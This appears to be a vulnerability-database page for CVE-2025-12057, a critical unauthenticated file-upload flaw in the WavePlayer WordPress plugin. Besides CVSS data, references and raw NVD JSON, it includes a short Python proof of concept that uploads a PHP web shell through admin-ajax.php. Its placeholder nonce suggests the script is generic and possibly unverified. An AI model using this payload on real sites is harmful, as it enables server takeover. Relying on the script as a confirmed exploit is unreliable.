CVE-2025-12057

Description

The WavePlayer WordPress plugin before 3.8.0 does not have authorization in an AJAX action as well as does not validate the file to be copied locally, allowing unauthenticated users to upload arbitrary file on the server and lead to RCE

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WavePlayer WordPress plugin < 3.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = 'http://target-wordpress-site.com'
upload_url = f'{target}/wp-admin/admin-ajax.php'

payload = '<?php system($_GET["cmd"]); ?>'

files = {
    'file': ('shell.php', payload, 'application/x-php')
}

data = {
    'action': 'waveplayer_upload',
    'security': '任意值'
}

response = requests.post(upload_url, files=files, data=data)
print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12057/
[4] VulDB https://vuldb.com/cve/CVE-2025-12057
[5] https://wpscan.com/vulnerability/110db433-01ec-47ea-b74f-c3faa1757a3c/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12057", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:45.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WavePlayer WordPress plugin before 3.8.0 does not have authorization in an AJAX action as well as does not validate the file to be copied locally, allowing unauthenticated users to upload arbitrary file on the server and lead to RCE"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://wpscan.com/vulnerability/110db433-01ec-47ea-b74f-c3faa1757a3c/", "source": "[email protected]"}]}}